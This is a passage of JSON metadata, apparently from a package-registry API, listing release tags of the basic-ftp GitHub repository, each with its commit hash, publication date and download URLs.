v4.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.1/manifests"},{"name":"v4.0.0","sha":"8e5debbb84668040f1a417512afde275dae367c4","kind":"tag","published_at":"2019-09-13T04:50:53.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.0/manifests"},{"name":"v3.8.3","sha":"1b41b396bb90a295e9be630a69bbc39a72d98e0f","kind":"tag","published_at":"2019-08-29T05:21:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.3/manifests"},{"name":"v3.8.2","sha":"fca1005c372e1f7894ce5cc524043c07323b9f62","kind":"tag","published_at":"2019-08-28T19:35:47.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.2/manifests"},{"name":"v3.8.1","sha":"280d78828219235f67eac15fac1d155fb8ec0550","kind":"tag","published_at":"2019-08-14T18:05:50.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.1/manifests"},{"name":"v3.8.0","sha":"df70dbf1aeeb33f36ca87bd49f7ef8bc78c6bd92","kind":"tag","published_at":"2019-07-25T16:05:51.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.0/manifests"},{"name":"v3.7.1","sha":"7a2f635fc3f6c7796cd5507d9cef3d3034aeaa86","kind":"tag","published_at":"2019-07-19T07:11:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.7.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.1/manifests"},{"name":"v3.7.0","sha":"8ea7c4258505d6e2d5f43efe130c52e73cc1658d","kind":"tag","published_at":"2019-06-26T12:16:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.7.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.0/manifests"},{"name":"v3.6.0","sha":"b5bd1b7dd1db17b5653331a27ce1c643faa379f6","kind":"tag","published_at":"2019-06-05T13:25:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.6.0/manifests"},{"name":"v3.5.0","sha":"f7f4302c90483296be5f9a76be4d92930da24e66","kind":"tag","published_at":"2019-04-19T07:28:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.5.0/manifests"},{"name":"v3.4.4","sha":"bfb84f30151d0caae27c1fe0d24da2bfffefc697","kind":"tag","published_at":"2019-03-20T09:22:13.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.4/manifests"},{"name":"v3.4.3","sha":"23236bf595a8766a8d84d58f5517a034be3ec8cb","kind":"tag","published_at":"2019-03-05T13:31:43.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.3/manifests"},{"name":"v3.4.2","sha":"ec464e88599cb7555ac54334cb60b958c58383e5","kind":"tag","published_at":"2019-02-26T14:23:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.2/manifests"},{"name":"v3.4.1","sha":"5ae8531c7b35f651d57a575883ebe448ac229995","kind":"tag","published_at":"2019-02-23T19:57:28.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.1/manifests"},{"name":"v3.4.0","sha":"a4fcc6f911402913a02a4c769921763c11fcdba6","kind":"tag","published_at":"2019-02-23T13:17:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.0/manifests"},{"name":"v3.3.1","sha":"bc3d03c424ea2b9ee89ac1d6cb1c2394927a4863","kind":"tag","published_at":"2019-02-19T07:04:15.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.1/manifests"},{"name":"v3.3.0","sha":"f5da3ff41a4bdb0270c5fd6ed14824e88e4422fa","kind":"tag","published_at":"2019-02-18T16:21:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.0/manifests"},{"name":"v3.2.2","sha":"92c9875609fb3c00b369475792fe41f2e5b1940c","kind":"tag","published_at":"2019-02-18T10:01:52.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.2/manifests"},{"name":"v3.2.1","sha":"2c8497bb454ec84e9b319bf64869361019bdb537","kind":"tag","published_at":"2019-02-16T08:59:26.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.1/manifests"},{"name":"v3.2.0","sha":"08b17d83ec374d42140097ef648845818d1bfeb4","kind":"tag","published_at":"2019-02-15T15:11:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.0/manifests"},{"name":"v3.1.1","sha":"b063cafb2cdc2318c5920cf1d63a906bcd2f315e","kind":"tag","published_at":"2019-01-20T18:48:35.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.1.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"ac00625e89372efdcd62d2361147af0e4b3ebb3f","kind":"tag","published_at":"2019-01-11T08:39:07.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.0/manifests"},{"name":"v3.0.0","sha":"1b8ae5a577f6fad996eac4ffb6553593900ddcb8","kind":"tag","published_at":"2019-01-03T19:39:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.0.0/manifests"},{"name":"v2.17.1","sha":"6909f1615674c4b07bfc383f83e0dc73fdd0e145","kind":"tag","published_at":"2018-12-29T09:54:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.17.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.1/manifests"},{"name":"v2.17.0","sha":"9572a2ce24541e08ab75b3ff31b459aeb7c79c17","kind":"tag","published_at":"2018-12-04T18:57:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.17.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.0/manifests"},{"name":"v2.16.1","sha":"e6203584e4fdcb8e9d2424ba49375c8205d02277","kind":"tag","published_at":"2018-12-01T15:36:05.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.16.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.1/manifests"},{"name":"v2.16.0","sha":"d8029d07b3e0859f3912c291a39d8cb05d0c9dda","kind":"tag","published_at":"2018-11-14T21:41:24.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.16.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.0/manifests"},{"name":"v2.15.0","sha":"d0d75c4b2fbb473e992868aa94df67f3b1a90ce8","kind":"tag","published_at":"2018-10-31T20:42:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.15.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.15.0/manifests"},{"name":"v2.14.4","sha":"e75b70515a81586bd322598e478b53bb56e2bd4b","kind":"tag","published_at":"2018-10-24T19:18:03.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.4/manifests"},{"name":"v2.14.3","sha":"2465775df11f56ec50b9302eb734c13892d4c546","kind":"tag","published_at":"2018-10-07T18:00:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.3/manifests"},{"name":"v2.14.2","sha":"1e65d2ca5bd2863c5044f63a358f4e5d852375d2","kind":"tag","published_at":"2018-10-03T05:45:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.2/manifests"},{"name":"v2.14.1","sha":"b7c2b4c8e4442998cfe3c82e1d386c09a9d3b35c","kind":"tag","published_at":"2018-10-03T05:38:25.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.1/manifests"},{"name":"v2.14.0","sha":"71f4701a6f462377b0ff0d6381d329112726a6ba","kind":"tag","published_at":"2018-09-27T06:02:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.0/manifests"},{"name":"v2.13.2","sha":"52b5ebdd9486cad6a5c8f3bd30a7c6dd167f9829","kind":"tag","published_at":"2018-06-30T13:11:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.2/manifests"},{"name":"v2.13.1","sha":"cc83329135e4b024c0bbdbbf9240478ff3418a3f","kind":"tag","published_at":"2018-06-09T17:32:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.1/manifests"},{"name":"v2.13.0","sha":"542ce43aec992ba6d88f54f2fef281dcd2aad8d8","kind":"tag","published_at":"2018-06-05T20:06:08.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.0/manifests"},{"name":"v2.12.3","sha":"092c29720715d9096bda60854be658e6fa69c17c","kind":"tag","published_at":"2018-05-27T09:50:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.3/manifests"},{"name":"v2.12.2","sha":"98978f9ca78ab371001bdbf99085ee8c953b919f","kind":"tag","published_at":"2018-05-18T19:08:27.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.2/manifests"},{"name":"v2.12.1","sha":"00e6e3d987579fd8ce9ff8472cee16bcf3b84c2c","kind":"tag","published_at":"2018-05-18T15:19:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.1/manifests"},{"name":"v2.12.0","sha":"1c8f44b0ab6515d7ab703f68403a8da6a5b5046e","kind":"tag","published_at":"2018-05-11T15:47:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.0/manifests"},{"name":"v2.11.0","sha":"0e2555f2c3272f5f4a62cfeb071a3b68ecbac343","kind":"tag","published_at":"2018-04-30T16:57:39.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.11.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.11.0/manifests"},{"name":"v2.10.0","sha":"c5daa72a6223fe25ffde49118177e18417b00021","kind":"tag","published_at":"2018-04-23T20:11:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.10.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.10.0/manifests"},{"name":"v2.9.2","sha":"95ff793953801008c26c719516296bbd14dd8b4e","kind":"tag","published_at":"2018-04-04T19:32:35.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.2/manifests"},{"name":"v2.9.1","sha":"44b64e38a97a53a6897db55eb0d45a28f89598c2","kind":"tag","published_at":"2018-03-28T11:09:16.000Z","download_url":"https://codeload.gith